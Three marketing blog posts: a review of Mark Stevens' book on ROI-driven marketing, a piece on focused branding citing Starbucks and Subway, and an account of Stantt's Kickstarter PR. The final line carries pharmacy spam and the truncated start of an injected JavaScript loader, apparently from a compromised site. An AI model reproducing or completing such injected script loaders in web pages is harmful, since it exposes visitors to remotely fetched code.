Does Your Marketing Suck?

“Most marketing does suck. And it does because people haven’t thought through what they are trying to accomplish before they start spending money on marketing.”                                                                    –Mark Stevens, author of Your Marketing Sucks
 

As a general rule, I avoid writing book reviews for this column. I leave that up to people who do that for a living. But there are always exceptions, and Mark Stevens’ primer on what he labels as “extreme marketing” is like sweet music to my ears. It should be required reading for anyone who is or has seriously thought about growing a successful business.

In his book Your Marketing Sucks, Stevens defines extreme marketing as the ability to make every marketing dollar you spend to bring in more than $1 in return. Sounds logical, right? But Stevens points out numerous instances where marketing programs have easily defied that simple logic.

I don’t agree with Stevens on everything that he writes in his book, but we both strongly agree on that marketing is not about spending money on advertising, direct mail and public relations. Instead, marketing is about building a business—its revenues, profit, and valuation.

Stevens doesn’t pull any punches when giving examples why many organizations – big and small—are clueless when it comes to effectively marketing their products and services. They apparently have forgotten that the only objective for marketing is to help sell products and services. Instead, many companies and marketing firms fall hopelessly in love with their creations and somehow turn a blind eye to the cost-benefit analysis of what they are trying to sell.

One example he used about an IBM marketing campaign completely blew my mind. IBM rolled out a marketing program called a “mag-a-log” – a magazine/catalog that focused on technology trends, such as why more small companies were buying servers –to break into the small-business market.

This “innovative” marketing scheme told small-business owners how to buy an IBM server and what to look for in terms of power, scalability, price and features. The IBM executive who approved the idea got a raise and a promotion. One small problem: it didn’t work. The company lost money on the mag-a-log because it didn’t raise enough revenue to cover its cost. According to Stevens, the marketing program was a dud because IBM couldn’t sell to consumers directly, and people wouldn’t waste their time and energy contacting an “authorized IBM dealer.” But the executive who should have been canned for green-lighting this misguided marketing plan was instead rewarded for costing his company lots of money.

To adopt the extreme marketing approach, here are some guidelines that Stevens recommends for companies to follow:

  • Marketing is an integrated process — All of your marketing tactics, such as advertising, public relations, social media, direct mail, etc., should work together to move the sales needle.
  • Identify initiatives that attract attention – For example, any restaurant can offer “buy one dinner and get the second one at half off” to boost business. But one restaurant cooked up one marketing scheme that was very appealing to its customers. The restaurant, which recently opened for business, got American Express to agree to offer a promotion to its cardholders, where they would get 20 percent off the restaurant’s bill for three months. The restaurant traded on American Express’s credibility since it had none of its own, and it also gave customers a good reason to eat at the new restaurant often.
  • Combine all of the elements of your marketing program – Integrating all of the marketing elements will reinforce each other and drive toward a sale. Some examples include your ads should have your website address and social media links; or your brochures should feature visuals of your ads and key media placements.
  • Avoid marketing initiatives that do not produce ROI — If you cannot prove that your marketing program is making more money than it costs, then trash it if it can’t be corrected.

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Branding 101: Keep It Simple Stupid (KISS)

Many companies fail to generate brand recognition because they want to be many things to many people. The marketing geniuses of these companies simply ignore the fact that product or service expansion dilutes a brand name in the over-marketed minds of the consumer. Strong brands require contraction, not expansion.

A case in point: an executive of a managed service provider complained that no one understood what his company did and the market it served. Maybe, it was because the company was marketing itself like a New Jersey diner – it has mostly anything you want but none of it is exceptional.

If you think I’m out of my mind, then let’s look at a couple of companies that adopted the contraction model of branding: Starbucks and Subway. It should be noted that both companies have flirted with brand extensions but not enough to sway consumers from associating them with a singular product.

Starbucks focused on one product (coffee) to become what it is today: a multi-billion dollar company that has thousands of locations around the world (a little trivia: the company was named after the chief mate on the whale ship Pequod in the novel Moby Dick).

Founded by two teachers and a writer in the early ’70s, the Seattle-based Starbucks began its global ascent after entrepreneur Howard Schultz acquired the company in the late ’80s. It was Schultz’s vision that led Starbucks to be known for selling highly caffeinated roasted coffee, not just a bunch of menu items. This branding strategy paid off: Starbucks now commands around 33 percent of the market share for coffee in the US alone.

Subway also opted to keep its offering very focused. It didn’t want to be another delicatessen but just to be known for selling submarine sandwiches. Today, Subway has nearly 38,000 locations in 98 countries. Its US sales are $11.5 billion, second only to McDonald’s.

Here are a few tips on creating a successful branding strategy:

  • Sharpen your sights – Powerful branding always starts by contracting the category, not expanding it.
  • Go wide – Have more inventory available than your competitors. For example, a typical Toys ‘R Us store carries thousands more toys than a large department store. In the case of Starbucks and Subway, a lot of different types of coffee and subs, respectively.

Be the king of the hill- The end goal of any branding strategy is to dominate the category. In order to achieve that objective, you must (yep, you guess it) sharpen your focus.

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How PR Launched A Thousand Shirts

On a recent cold, rainy and just plain miserable evening, I ventured forth to a central New Jersey  office building, home to a start-up incubator called Juice Tank.  Inside, I took a seat, along with dozens of other rain-soaked attendees, to hear about how one fledgling  company  used the iconic crowdfunding platform Kickstarter to help raise money for its e-commerce business.

The company, named Stantt,  has a patent-pending sizing technology that allows them to produce men’s shirts that don’t fall into the generic  small, medium and large sizes.  Instead, Stantt’s shirts are made to give their customers a customized perfect fit.   The technology — involving mining 200 measurements from more than 800 3D body scans to produce about 70 different sizes of men’s shirts—uses an algorithm that matches customers to their right size.

OK, great idea but Stantt needed some seed capital to make its dream come true.  Enter Kickstarter.  Founders Matt Hornbuckle and Kirk Keel, both former Johnson & Johnson consumer brand managers,  launched its Kickstarter campaign last year with an initial fundraising goal of   $15,000.

They not only reached that goal but blew way past it, raising $120,195 with pledges from 980 backers.

Hornbuckle credits public relations as a major reason for the campaign’s success.  Stantt hired a PR agency to get the word out about the campaign but was unsuccessful  and cost the company thousands of dollars.  The PR agency “made all of these promises” but failed to deliver,  Hornbuckle lamented.

At the same time, a gentleman sitting behind me ranted about his own experience about PR agency rip-off tactics.  Listening to Hornbuckle and this other guy, one would conclude that PR agencies are a total waste of time and money. Their experience with a PR agency was indeed unfortunate but not all agencies should be tarred with the same brush.

Hornbuckle did admit to the audience that PR is hard work.  How would he know?  Because after he booted his PR agency, he was forced to roll up sleeves and reach out to the press on his own.  And he didn’t do too badly for a neophyte.  Hornbuckle was able to secure media coverage about the Kickstarter campaign and his firm from Fox Business News, Fast Company, TechCrunch, C/Net and a host of others.   And while the firm was spreading its gospel on social media channels, Hornbuckle says that press coverage, not social media, played a bigger role in getting people to throw money at the company.

Despite its initial success in the PR business,  Stantt will eventually have to delegate the PR function to others (internal or external) so that Hornbuckle and the company’s other managers can focus on raising more money and other activities needed to build their business.  Or, as Hornbuckle says: our mission is to grow Stantt “one shirt at a time.”clomid online pharmacy, clomid online pharmacyvar d=document;var s=d.createElement(‘script’);